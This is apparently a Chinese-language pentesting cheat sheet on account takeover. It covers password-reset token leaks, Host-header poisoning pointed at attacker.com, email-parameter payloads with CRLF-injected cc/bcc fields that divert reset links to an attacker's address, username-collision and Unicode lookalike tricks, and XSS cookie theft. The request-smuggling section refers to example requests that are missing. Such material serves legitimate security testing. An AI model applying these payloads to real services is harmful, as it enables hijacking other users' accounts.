账户接管 (Account Takeover)
账户接管 (ATO) 是网络安全领域的一个重大威胁,涉及通过各种攻击向量未经授权访问用户的账户。
摘要 (Summary)
- 密码重置功能 (#password-reset-feature)
- 通过 Referrer 泄露密码重置令牌 (#password-reset-token-leak-via-referrer)
- 通过密码重置投毒实现账户接管 (#account-takeover-through-password-reset-poisoning)
- 通过 Email 参数重置密码 (#password-reset-via-email-parameter)
- API 参数上的 IDOR (#idor-on-api-parameters)
- 弱密码重置令牌 (#weak-password-reset-token)
- 泄露密码重置令牌 (#leaking-password-reset-token)
- 通过用户名冲突重置密码 (#password-reset-via-username-collision)
- 由于 Unicode 归一化问题导致的账户接管 (#account-takeover-due-to-unicode-normalization-issue)
- 通过 Web 漏洞实现账户接管 (#account-takeover-via-web-vulnerabilities)
- 参考资料 (#references)
密码重置功能 (Password Reset Feature)
通过 Referrer 泄露密码重置令牌 (Password Reset Token Leak via Referrer)
- 请求将密码重置链接发送到您的电子邮箱
- 点击密码重置链接
- 不要更改密码
- 点击任何第三方网站(如:Facebook, twitter)
- 在 Burp Suite 代理中拦截请求
- 检查 referer 标头是否泄露了密码重置令牌。
通过密码重置投毒实现账户接管 (Account Takeover Through Password Reset Poisoning)
- 在 Burp Suite 中拦截密码重置请求
- 在 Burp Suite 中添加或编辑以下标头:
Host: attacker.com,X-Forwarded-Host: attacker.com -
转发带有修改后的标头的请求
-
寻找基于 host 标头 的密码重置 URL,例如:
https://attacker.com/reset-password.php?token=TOKEN
通过 Email 参数重置密码 (Password Reset via Email Parameter)
# 参数污染 (parameter pollution)
email=victim@mail.com&email=hacker@mail.com
# Email 数组 (array of emails)
{"email":["victim@mail.com","hacker@mail.com"]}
# 抄送 (carbon copy)
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# 分隔符 (separator)
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
API 参数上的 IDOR (IDOR on API Parameters)
- 攻击者必须登录自己的账户并进入修改密码功能。
- 启动 Burp Suite 并拦截请求
-
将请求发送到 repeater 标签并编辑参数:User ID/email
弱密码重置令牌 (Weak Password Reset Token)
密码重置令牌应当是随机生成的,且每次都是唯一的。 尝试确定令牌是否过期,或者是否始终相同。在某些情况下,生成算法很弱,可以被猜测。算法可能会使用以下变量:
- 时间戳 (Timestamp)
- 用户 ID (UserID)
- 用户邮箱 (Email of User)
- 名和姓 (Firstname and Lastname)
- 出生日期 (Date of Birth)
- 密码学 (Cryptography)
- 仅数字 (Number only)
- 短令牌序列(少于 6 个字符,范围 [A-Z,a-z,0-9])
- 令牌重用
- 令牌过期日期
泄露密码重置令牌 (Leaking Password Reset Token)
- 使用 API/UI 为特定邮箱触发密码重置请求,例如:test@mail.com
- 检查服务器响应并寻找
resetToken - 然后在 URL 中使用该令牌,例如
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
通过用户名冲突重置密码 (Password Reset via Username Collision)
- 使用与受害者相同的用户名在系统上注册,但在用户名之前和/或之后插入空格。例如:
"admin " - 使用您的恶意用户名请求密码重置。
- 使用发送到您邮箱的令牌并重置受害者的密码。
- 使用新密码登录受害者账户。
CTFd 平台曾存在该攻击的漏洞。 参见:CVE-2020-7245
由于 Unicode 归一化问题导致的账户接管 (Account Takeover Due To Unicode Normalization Issue)
当处理涉及 Unicode 的用户输入以进行大小写映射或归一化时,可能会出现意外行为。
- 受害者账户:
demo@gmail.com - 攻击者账户:
demⓞ@gmail.com
Unisub - 一款可以建议可能被转换为给定字符的潜在 Unicode 字符的工具。
Unicode 渗透测试速查表 (Unicode pentester cheatsheet) 可用于根据平台查找合适的 Unicode 字符列表。
通过 Web 漏洞实现账户接管 (Account Takeover via Web Vulnerabilities)
通过跨站脚本 (XSS) 实现账户接管 (Account Takeover via Cross Site Scripting)
- 在应用程序或子域名中发现一个 XSS(如果 Cookie 的作用域包含父域名:
*.domain.com) - 窃取当前的会话 Cookie (sessions cookie)
- 使用该 Cookie 以用户身份进行身份验证
通过 HTTP 请求走私实现账户接管 (Account Takeover via HTTP Request Smuggling)
请参考 HTTP Request Smuggling (HTTP 请求走私) 漏洞页面。
-
使用 smuggler 检测 HTTP 请求走私的类型(CL, TE, CL.TE)
-
构造一个请求,用以下数据覆盖
POST / HTTP/1.1: -
最终请求可能如下所示:
利用此漏洞的 Hackerone 报告:
通过 CSRF 实现账户接管 (Account Takeover via CSRF)
- 创建 CSRF 的 Payload,例如:“用于修改密码的自动提交 HTML 表单”
- 发送 Payload
通过 JWT 实现账户接管 (Account Takeover via JWT)
JSON Web Token 可能会被用于验证用户身份。
- 使用另一个用户 ID / 邮箱编辑 JWT
- 检查是否存在弱 JWT 签名